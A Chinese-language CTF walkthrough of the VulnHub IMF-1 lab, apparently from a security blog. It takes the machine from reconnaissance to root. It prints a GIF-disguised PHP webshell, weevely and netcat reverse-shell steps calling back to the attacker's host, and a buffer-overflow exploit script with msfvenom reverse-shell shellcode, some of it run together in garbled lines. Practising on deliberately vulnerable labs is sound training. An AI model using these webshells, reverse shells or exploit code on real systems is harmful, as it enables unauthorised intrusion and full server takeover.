渗透项目(八):IMF-1
靶机地址:https://www.vulnhub.com/entry/imf-1,162/
1、IMF考察点
1)信息收集:
nmap收集信息
curl base64深入枚举
页面信息枚举cewl
2)webshell:
php strcmp绕过
IMF CMS sql注入
文件上传绕过waf(hexdump、反引号、十六进制、weevely)
代码审计htaccess
审计WAF
3)提权:
CVE-2021-4034
4)缓冲区溢出:
base64下载
端口碰撞
Itrace跟踪
strings分析
GDB-pead分析
绕过ALSR
偏移量、JMP、shellcode编写
python3 exp编写
2、渗透过程
将下载好的靶场解压添加到虚拟机中,且设置为同一网段
查看攻击机kali的ip为192.168.56.104.扫描同网段存活主机,输入命令:
nmap 192.168.56.1/24 -sP
发现存活主机,192.168.56.101为我们此次攻击的靶机,然后扫描其端口,发现80端口
输入ip地址到浏览器,并检查页面情况及源代码情况
页面并无有用信息,查看源代码,发现存在一个flag1,并且内容为base64编码格式。
输入命令:
echo 'YWxsdGhlZmlsZXM=' | base64 -d #进行解码,获得flag1{allthefiles}
接着对源代码进行挖掘,发现在js文件出存在类似base64的编码格式文件存在
将其分解并向刚才操作一般,解密后获得flag2{aW1mYWRtaW5pc3RyYXRvcg==},再进行解密发现了flag2{imfadministrator}
再没有其他的发现了,目前没有什么信息可以利用,发现在flag2中,存在着administrator的字样存在,利用该单词去当作web的路径进行输入发现了个简易的登录框
查看源代码发现,该框不能进行sql注入
对此,我们可以看到上述输入框中的变量值,尝试输入查看变化
打开burpsuite,利用抓包改包,看看是否可以绕过
将抓到的包发送给repeater,在里面构造包,通过发送,查看回显
说明,这里是无效的用户名,和pass无关,可以枚举出用户名
返回web端,查看页面的信息,在Contract Us界面发现有三个邮箱
可以利用他们去做尝试
发现用户名正确,密码错误了,剩下两个用户测试发现均为无效用户
下面进行绕过操作,参考php strcmp比较字符串绕过:字符串和数组进行比较
构建一个payload:?a[]
在靶机中的pass改为pass[]
获得flag3{Y29udGludWVUT2Ntcw==},利用bp的decoder解密:
flag3{continueTOcms},发现flag中包括cms,重新抓包,改包后,进入新的页面
该界面是存在sql注入的,重新抓包,并将信息保存下来,利用sqlmap去攻击
然后输入sqlmap -r 1.txt --dump #--可以获取数据库,但是无法获取shell --dump:导出列里面的字段
发现存在一个图片路径,/images/whiteboard.jpg,发现存在一个二维码,扫描后发现
flag4{dXBsb2Fkcjk0Mi5waHA=},flag4{uploadr942.php},是一个上传的php
经过尝试允许上传jpg、png、gif,但是存在waf,利用双扩展名或空字符都无法绕过waf
先查到本地存在php的shell,然后利用php的webshell改格式为gif进行上传发现存在waf
在IMF文件下创建一个新的.gif文件,文件头为,通过插入GIF89a十六进制标头并附加,WAF没有发现为恶意的php代码来创建一个gif文件
GIF89a
上传后发现上传成功
查看源代码中,发现了文件变化改变,然后去uploads路径下输入,该编号.gif
发现上传成功,下面构造一个webshell,上传
GIF89a
<?php $cmd=$_GET['cmd']; echo `$cmd`;?>
通过刚才的操作,利用GET请求,可以看到目录下存在flag5
读取flag5{YWdlbnRzZXJ2aWNlcw==} ,flag5{agentservices}
获取服务器的shell,修改之前复制到IMF文件的reverser-php中的IP地址为本地kali的ip
利用刚才上传的文件的cmd远程命令,先在kali上开启服务,然后从kali本机上下载修改后的shell-php
查看后,发现上传成功
在kali中开启监听 nc -lvp 1234
在浏览器的uploads路径下访问刚才上传的reverse-shell,反弹一个shell
第二种获取shell的方法:weevely
weevely generate passxiaoli xiaoli.php ---生成xiaoli.php文件密码为passxiaoli
generate ---生成新代理
mv xiaoli.php xiaoli.gif ---然后头部加入GIF98a并改名文件为gif
然后上传文件,看源码ID: 085af1fd2790
weevely http://192.168.56.101/imfadministrator/uploads/085af1fd2790.gif passxiaoli
成功获得shell,该shell很稳定!
cat查看信息:
AddType application/x-httpd-php .php .gif
AddHandler application/x-httpd-php .gif
可看到该文件与继续gif解析php文件!
获取了低权限,下面进行提权了,从flag5中发现它的内容是agentservices,拆开看就是agent services。输入命令find / -name agent &>/dev/null
输入命令/usr/local/bin/agent,这使用>/dev/null把错误信息重定向到黑洞中,只留下正确的信息回显,这时候我们就能快速而准确的找到我们需要的文件了…发现有代理在执行
进去/usr/local/bin/目录后,发现两个文件,查看除agent外的文件,然后输入netstat -ant查看端口情况
发现存在SYN 三个端口,然后利用knock去敲震这三个端口
重新nmap 靶机
7788端口被敲开,然后在kali本地利用nc去连接
不知道Agent ID是什么
在shell中查看是否安装python,发现安装了python3,查看是否安装perl,利用perl反弹一个shell
利用上述一句话:
一句话连接可以参考:https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
利用base64 agent,将输出的内容复制到本地kali上,然后再从base64转换回来
先继续分析本地kali上的agent!使用ltrace(跟踪进程调用库函数的情况)查看agent信息:
ltrace ./agent
发现了比较函数,ID的对比函数,得知了正确的ID值,输入ID:48093572,进到该程序中了
strncmp("\n", "48093572", 8) = -1 ----正在将我提供的字符串与字符串48093572进行比较,在这种情况下导致=-1)
通过上述的比较函数等分析,该程序应该存在缓冲区溢出
利用strings agent,也可以查看该程序的信息,发现了strncmp,以及两个%s
这里两个地方使用了“%s”,这很可能是一个有效的溢出点!
运行程序后,提前用python生成200个字符,进行输入测试
发现有分段错误,存在缓冲区溢出,下一步就要找打它的偏移量,利用gdb去分析该程序
具体的可以参考https://xz.aliyun.com/t/3784
对于缓冲区溢出的操作如下:
1、使用gdb调试
gdb -q ./file
2、生成1000位值
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
3、GDB执行值,查看错误点
4、解析错误点判断偏移量
5、vmmap查看信息
6、验证EIP
7、验证ESP
8、确认坏字符
缓冲区溢出的在生成shellcode时,会影响输入的字符,比如’n’字符会终止输入,会截断输入导致我们输入的字符不能完全进入缓冲区。常见的坏字符有x0a、x0b、x00
9、msf生成payload
输入200值后,发现segmentation fault溢出报错!存在缓冲区溢出!0x41366641报错
找到偏移量168,在168位之后编写shellcode
找到EAX的值为:0x8048563,目前知道了JMP值:0x8048563偏移量:168接下来创建shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.104 LPORT=4444 -f python -b "\x00\x0a\x0b"
payload:
-p 载荷类型
LHOST 本机地址
LPORT
-b 坏字符
-f 编译的语言
\x00 == 0x00 ASCII控制字符表中对应 NULL (空字符)
\x0a == 0X0a ASCII控制字符表中对应 LF (换行键)
\x0b == 0x0b ASCII控制字符表中对应 VT (垂直定位符号)
因为该程序需要在运行时输入ID,然后选择选项,所以写个脚本来进行操作:
最终代码:exp.py
------------------------------
#!/usr/bin/python
import time, struct, sys
import socket as so#Command used for Linux Payload.. replace with your IP - msfvenom -p linux/x86/shell/reverse_tcp LPORT=4444 LHOST=192.168.56.104 -b "\x00\x0a\x0d" -f pybuf = b""
buf += b"\xbf\x64\x68\x24\x07\xdb\xc2\xd9\x74\x24\xf4\x5b\x33"
buf += b"\xc9\xb1\x1f\x31\x7b\x15\x03\x7b\x15\x83\xc3\x04\xe2"
buf += b"\x91\x02\x2e\x59\x68\x08\xd9\x86\xd9\xed\x75\x23\xdf"
buf += b"\x41\x1f\x3a\x3e\x6c\x60\xab\x9b\x07\xa1\x7c\x23\xb0"
buf += b"\x49\x7f\x53\x51\xd6\xf6\xb2\x3b\x80\x50\x64\xed\x1b"
buf += b"\xe8\x65\x4e\x69\x6a\xe0\x91\x08\x72\xa4\x65\xd6\xec"
buf += b"\x9a\x86\x28\xed\x82\xec\x28\x87\x37\x78\xcb\x66\xfe"
buf += b"\xb7\x8c\x0c\xc0\x31\x30\xe5\xe7\x73\x4d\x43\xe7\x63"
buf += b"\x52\xb3\x6e\x60\x93\x58\x7c\xa6\xf7\x93\xcc\x55\x35"
buf += b"\x2b\xa9\x66\xbd\x3c\xea\xef\xdf\xa4\xbe\xd4\xaf\xd4"
buf += b"\x73\x94\x55\x1a\xf3\x97\xaa\x7a\xbb\x99\x54\x7d\xbb"
buf += b"\x22\x55\x7d\xbb\x54\x9b\xfd"#CALL EAX address is 8048563
buf += "A" * (168 - len(buf))buf +="\x63\x85\x04\x08\n"try:server = str(sys.argv[1])port = int(sys.argv[2])
except IndexError:print "[+] Usage example: python %s 192.168.56.101 7788" % sys.argv[0]sys.exit()#Automatically connects to agent binary, enters the Agent ID number, and sends malicious payload using option 3.
s = so.socket(so.AF_INET, so.SOCK_STREAM)
print "\n[+] Attempting to send buffer overflow to agent...."
try: s.connect((server,port))s.recv(1024)s.send("48093572\n")s.recv(1024)s.send("3\n")s.send(buf)s.recv(1024)print "\n[+] Completed."
except:print "[+] Unable to connect to agent over port 7788. Check your IP address and port. Make sure 7788 is really open."sys.exit()client.recv(512) 中recv是recvsize的缩写,参考:https://blog.csdn.net/momod/article/details/105883550 当使用socket模块,在接收请求数据时一般用s.recv()函数。这个函数有一个bufsize参数,指定要接受的最大数据量。一般教程会推荐设定这个值为1024。如这个简单的服务器代码:
当修改bufsize,小于一定长度,比如128,运行后访问127.0.0.1:8080,网页不会报错,但不显示任何内容。
然后开启监听,运行exp.py即可反弹回
然后返回来的直接是root权限,直接查看flag文件
cat Flag.txt
flag6{R2gwc3RQcm90MGMwbHM=}
Gh0stProt0c0ls
3、总结
到此,该靶机的所有flag以集齐,该靶机所蕴含的知识非常多,其中最重要的还是缓冲区溢出的漏洞,希望能够给入门的同学起到一定的指导。前段时间一直在看论文写方案,准备论文开题,所以一直也没有抽空接着做靶机的渗透学习,开题已经结束了,后续会继续更新,希望大家多多关注,从中能够学到一些知识。
继续努力~
渗透项目(八):IMF-1相关推荐
- 【甄选靶场】Vulnhub百个项目渗透——项目八:IMF-1(文件上传,缓冲区溢出)
Vulnhub百个项目渗透 靶场环境 提取码:rong Vulnhub百个项目渗透--项目八:IMF-1(文件上传,缓冲区溢出)
- 【甄选靶场】Vulnhub百个项目渗透——项目三十八:Tommy-Boy-1(修改UA,脏牛提权)
Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目三十八:Tommy-Boy-1(修改UA,脏牛提权) 这个靶场被我打坏了,忘记快照了,自行官网下载哈~~
- 【甄选靶场】Vulnhub百个项目渗透——项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析)
Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析) 靶场地址
- 【未完成】【甄选靶场】Vulnhub百个项目渗透——项目四十一:DEFCON Toronto-Galahad(图像深层分析,流量分析)
Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目四十一:DEFCON Toronto-Galahad(图像深层分析,流量分析)
- 网络存储技术Windows server 2012 (项目八 文件共享与磁盘映射)
网络存储技术Windows server 2012 (项目八 文件共享与磁盘映射) 目录 前言 一.项目背景 二.项目实训题 三.操作步骤 1.在文件服务器上创建用户tom和jack: 2.在文件服务 ...
- 【甄选靶场】Vulnhub百个项目渗透——项目十一:skytower-1(代理登录ssh,绕过shell禁用)
Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目十一:skytower-1(代理登录ssh,绕过shell禁用) ==================靶场地址============== ...
- 渗透项目(五):W1R3S
项目地址:W1R3S: 1.0.1 ~ VulnHub 1.W1R3S的考察点: 1)信息收集: 1.nmap挖掘信息.2.页面枚举.3.Cuppa CMS LFI 2)提权: 1.sudo提权 2. ...
- 【甄选靶场】Vulnhub百个项目渗透——项目四十二:Moria1.1(MD5加盐爆破)
Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目四十二:Moria1.1(MD5加盐爆破)
- 【甄选靶场】Vulnhub百个项目渗透——项目五十二:Fowsniff-1(任务挟持)
Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目五十二:Fowsniff-1(任务挟持)
- 【甄选靶场】Vulnhub百个项目渗透——项目三十三:Money-Heist-catch-me-if-you-can(密码学)
Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目三十三:Money-Heist-catch-me-if-you-can(密码学)
最新文章
- as死机了怎么办_Acer AS574/G开机死机故障排除手记
- myeclise 安装
- Apriori算法简介及实现(python)
- 【聊一聊】css中的经典布局——圣杯布局
- 数组排序(冒泡、排序)
- Spring Cloud构建微服务架构:分布式服务跟踪(入门)【Dalston版】
- java phantomjs 截图_phantomjs 截图
- IDEA引入外部jar包的方法
- nginx 超时时间_Linux从入门到放弃 Nginx
- python pillow无法安装_Pillow
- uva 11992 Fast Matrix Operations
- 80-200-040-原理-MySQL服务端架构
- python根据字符串实例化对象_解密 Python 中的对象模型
- discuz是如何判断手机端访问的
- 计算机网络应用平面设计广告设计,互联网时代平面广告设计
- 【游戏开发3D数学笔记】1.有话说在前面
- 二维图像中EMD 法与 Mura 检测的总结
- 数学:确定性的丧失---第二章 数学真理的繁荣
- 翼次元空间:GoodUP.io与4WiN全球互贸链的基础=智协云店通+BitCOO
- 断背山 - 剧情花絮 - 电影 - 风行